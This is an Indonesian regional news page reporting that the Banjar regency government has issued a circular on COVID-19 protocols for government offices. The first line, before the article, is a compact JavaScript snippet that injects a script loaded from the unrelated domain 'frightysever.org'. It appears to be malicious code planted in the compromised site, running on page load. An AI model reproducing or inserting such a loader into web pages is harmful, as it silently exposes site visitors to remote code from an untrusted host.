(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Cegah Klaster Baru, Pemkab Banjar Terbitkan SE Protokol Covid-19 di Perkantoran. Ini Isinya!


KANALKALIMANTAN. COM, MARTAPURA – Rentannya perkantoran pemerintah menjadi klaster baru Covid-19 membuat Pemkab Banjar mengambil langkah segara. Menyusul sejumlah pejabat yang terpapar, Pemkab menguluarkan Surat Edaran (SE) No 065/679/ ORG tentang penegasan penerapan penyesuaian kerja bagi aparatur sipil negara (ASN) dalam adaptasi kebiasan baru yang ada di Kabupaten Banjar.

Tak hanya diedarkan di lingkungan pemkab, SE tersebut juga disebar hingga ke kecamatan dan kantor desa di Kabupaten Banjar.

Sekertaris BPBD Banjar Azhar Alamsyah mengatakan, surat edaran dari Bupati Khalilurrahman tersebut guna meningkatkan pengawasan dalam protokol kesehatan Covid-19. “Mengingat saat ini hampir di tiap perkantoran ada saja staf yang terpapar,” katanya.

Dalam SE tersebut, disampaikan bahwa setiap perkantoran yang ada di kabupaten banjar yang membuka layanan atau kerja diwajibkan harus menyediakan dan menambah fasilitas cuci tangan dan menyiapkan masker. Termasuk mengatur tempat duduk di ruang ruang tertentu sesuai dengan ketentuan.

“Selain peningkatan itu juga disertai larangan bagi perkantoran yang berada di kabupaten banjar untuk melakukan rapat atau pertemuan apapun secara tatap muka” paparnya.

SE tersebut juga meminta fasilitas perkantoran memiliki ventilasi udara yang baik mengingat penyebaran virus ovid-19 bisa melalui droplet (percikan air ludah) dan airborne (melalui udara).

Selain itu, setiap perkantoran juga diminta mengatur ulang kembali waktu kerja serta pembatasan staf di setiap harinya guna mencegah kerumunan.

“Selain itu untuk pencegahan Covid-19 juga mewajibkan untuk setiap perkantoran melakukan penyemprotan disinfektan secara berkala.

Sejauh ini, BPBD Banjar sudah mendapatkan permintaan dari setiap perkantoran untuk melakukan penyemprotan menyusul terbitnya SE tersebut,” pungkas Azhar. (Kanalkalimantan.com/putra)

 

Reporter: Putra
Editor: Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.